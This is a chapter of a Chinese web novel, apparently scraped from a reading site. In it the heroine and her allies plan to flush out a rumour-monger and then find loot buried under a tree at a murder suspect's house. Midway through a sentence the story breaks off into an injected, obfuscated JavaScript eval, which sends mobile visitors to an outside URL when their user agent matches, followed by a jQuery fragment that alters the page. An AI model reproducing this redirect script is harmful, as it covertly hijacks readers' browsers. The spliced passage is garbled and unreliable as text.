17. 第十七章

作品:《强夺高岭之花后联手复仇

    应如是刚回到院中,明心便赶了过来,快得让她忍不住怀疑院中是不是被安插了眼线。


    刚才还风雨飘摇的天,这会儿忽又放晴了,细碎的阳光洒在身上,令人心生惬意。


    应如是毫不拘礼,自顾自地在藤椅上躺下,同时示意他在廊间坐下。


    “孩童是迷晕后被杀的,官府已经贴出告示,相信不久便会有线索。”应如是简短地交代完后便闭目养神。


    “我去神庙查看了一番,里面的痕迹很乱,几乎找不到有用的线索。”明心说道。


    应如是心想:那是自然,连大理寺都查不了的现场,你能有多大的本事?


    然而,明心却接着说道:“但我发现了车辙印。凶手很谨慎,大部分车辙都被抹去了,只有藏在密草中的一小段没被发现,得以保留。”


    “能看出是何种车辆吗?”应如是问道。


    “我已拓下图纸,遣人和京中常用的车辆轮子比对去了。”明心回答。


    他虽然说得轻巧,但应如是知道这必是要费上一番功夫的,他如此帮自己,先前还无端揣测他的意图,应如是觉得有时候自己真不是个人。


    “衣服可还合身?”


    没来由的一句话,让问的人、听的人都有些始料未及——


    应如是暗骂自己:怎么将心里想的事说出来了?


    明心有些愣神:怎么忽然说到衣服上了?


    刘舞起从国子监回来后便立刻来找应如是,谁知一进院就撞见二人相视无言,气氛有些不寻常。


    她故意咳了几声,走到二人之间,挡住了二人交汇的目光。


    “总算是有希望了!”刘舞起说完后看了一眼明心,意思表达很明白:我们有要事相商,闲杂人等请回避。


    明心很有眼力见,当下便要起身告辞,却被应如是的一句话制止了:“都是自己人,无妨。”


    眼看着明心又乖乖地坐回去,刘舞起惊得眼珠子都掉出来了:这才离开半日时间,怎么一个个都像是变了一个人?


    有鬼,这其中必定有鬼!刘舞起心中正盘算着怎样才能迅速知道内情之时,应如是已经等不及了,问道:“造谣者找着了吗?”


    刘舞起只得暂时放下心中的疑问,回道:“应该快了。”


    “详细说说。”应如是一脸想听故事的表情。


    “在回到国子监之前,我和沈大人一直在想用什么方法能够找到此人。”刘舞起徐徐道来,“大张旗鼓找肯定不行,不仅会打草惊蛇,而且期间那人很可能找到机会逃脱;但若是暗中查访,又浪费时间,得不偿失。后来,我们想出了一个极好的对策。”


    “从造谣者本身考虑,他做这件事未必是出于本心,或是被人收买,或是受人威胁。既然如此,幕后之人定不会让他知道案件的相关事情,因为造谣者可能会心生畏惧,主动投案,再有甚者,会直接供出主谋,以求宽宥。”刘舞起分析得句句在理。


    “这应该不是你想出来的吧!”应如是随口说了一句,在看到刘舞起犀利的眼神后,立马闭了嘴。


    “既然他要造谣,我们何不以其人之道还治其人之身?”说到此处,她眉飞色舞,得意极了。


    回想起在马车上听完沈清识的分析后,一个想法几乎立马在脑中成形。


    “既然有人不想让他知道,那我们偏要让他知道。”她一说起来便滔滔不绝,“国子监里应该也有那种喜欢听人墙角、管不住嘴的监生吧?我们可以‘不经意’向他透露一些孩童被杀案的内情,然后一传十、十传百,不出三天,保证整个国子监的人都知道得明明白白。我们这些天只要留意那些行为举止有异之人,再逐个排查,便可找到造谣者。”


    沈清识听完她的计策后,脸上流露出一丝赞赏之色:原以为她只是个不知礼数、头脑简单、空有武力的粗鄙丫头,没想到还是有点头脑的。


    当然,他的这些心里话刘舞起自是不知道的,不然恐怕二人今日便要分出个你死我活。


    “这一招‘敲山震虎’用得真妙!”应如是听完后也忍不住夸赞了一句,而后又嬉笑着问道,“只是,你什么时候与沈清识交好的?之前马车上不还对他不理不睬的吗?”


    “莫要取笑我,你和和尚的事我还没问呢!”刘舞起探身向前,极具压迫感地问道,“趁我不备,你们是不是勾搭在一块了?”


    应如是顿觉哭笑不得:这个“勾搭”从何说起啊?


    回头一看,却发现明心早已不见了踪迹,心中更加无奈:这人怎的一到关键时候跑得比兔子还快?


    “你给我好好说说,刚才为何与和尚眉来眼去的?”


    “凡事都要讲证据,你不要胡说,污我清白!”


    “我亲眼所见,你别想抵赖!”


    “……”


    出了东院依稀还能听到二人的争吵声,明心暗自庆幸自己先一步离开,没有被卷入其中,没有意识到此刻的自己嘴角微微勾起,表情是罕见的轻松愉悦。


    这一幕落在迎面而来的云川眼里,云川差点栽了个跟头。


    无人知道,从他今日一反常态地去找应如是剖明心迹,一切开始变得不一样了。


    官府的悬赏告示立竿见影,第二天便有了新线索。


    应如是收到大理寺的传信后立马赶了过去,见谢庭舒领着几个官兵正要往西而去。


    “应将军,我们边走边说。”谢庭舒示意她跟上。


    “谢少卿,这是找到凶手了吗?”应如是问道。


    “今早,一个卖糖画的商贩揭榜来到大理寺,自称曾经见过一个名叫晚晚的女孩的最后一面。”谢庭舒开始讲述事情的始末,“下官根据商贩所述,向晚晚的父亲核实,确认他所言非虚。”


    “他见到凶手了?”应如是又问。


    谢庭舒没有给出肯定的回答,只是继续说道:“据商贩所说,当时晚晚想要糖画但是身无分文,一个中年男子主动替她付了钱,还说要带她去吃糖葫芦。商贩当时没放在心上,事后越


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15162992|164915||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    想越觉得不对。”


    “确实,像极了诓骗孩童的人贩子。”应如是附和道。


    “下官根据其口述的相貌特征,着人画了那人的肖像。”谢庭舒拿出画像递给她看。


    应如是第一眼便觉得这人有些面熟,但又想不起来在哪里见过他。


    “有人认出他是住在西市街口的书生冯晏。”谢庭舒在一户人家门前站定,“就是这里了。”


    这是一个不大的宅院,朱漆木门有些陈旧,越过矮墙能看出里面有两间高低错落紧挨的屋舍,院中有一棵槐树,看着有些年头了,干枯嶙峋的枝丫几欲伸出墙外。


    谢庭舒扣了几下门,等了许久都无人应,正要另寻他法,却见一个衣衫不整、蓬头垢面的男子打着哈欠走出来。


    “谁啊,一大早的就扰人清静。”开门见到官兵后他立马恭敬起来,“不知官爷光临寒舍所为何事?”


    “你是冯晏?”谢庭舒问。


    “正是在下。”冯晏拱手有礼道。


    “那就搜吧。”谢庭舒一声令下,随从官兵鱼贯而入。


    “你们这是做甚?”冯晏想要冲进去阻拦却被人架住了,于是大声嚷嚷道,“大家快来看看啊,官府欺压百姓,还有没有王法了?”


    “住口,有人指认你和一桩命案有牵连,若是再胡搅蛮缠,立马拿了你送进大狱。”谢庭舒威吓道。


    官兵在屋内搜了一阵并没有搜出什么有用的东西,眼见着冯晏的神情逐渐放松下来,一直旁观的应如是却猝不及防地问道:“你将东西藏在哪儿了?”


    “什么东西?”冯晏下意识接过她的话,眼珠子也跟着转动了一下。


    应如是慧眼如炬,迅速捕捉到了这个细微的动作,跟着他眼神飘过的方向,走到那棵槐树下面,绕树转了一圈。


    冯晏明显紧张起来,眼睛直勾勾地看着应如是,气都不敢喘一下。


    “看来就是这里了。”应如是对谢庭舒说。


    青白的砖石从屋外一直铺到槐树下,每一块都严丝合缝,看着并无异样。唯有绕到槐树后面,在靠近墙角处的地方能看到有两三块错开了些许距离,显然是有人经常挪动所致。


    “来人,给我搬。”谢庭舒发话。


    不知为何,说话之时她的目光一直停留在应如是身上,带着一丝探究和不解。


    “你和前大理寺卿萧若竹有何关系?”这个藏在心里的疑问终于还是问了出来。


    应如是神色一滞,双手隐隐颤抖,一如她此刻难以平静的内心。


    好在官兵将砖石挪开后有了重大发现,应如是装作没有听到一般,朝地里看去。


    里面埋着一排陶瓮,大小一共六个,用粗布封得严严实实的。打开一看,只见瓮中装满了金银财物,还有一些珠钗首饰。


    冯晏此刻已是彻底死心,低着头一言不发,神情低落得如同丧家之犬。


    “所有东西一律带回大理寺。”谢庭舒意味深长地看了一眼应如是说道。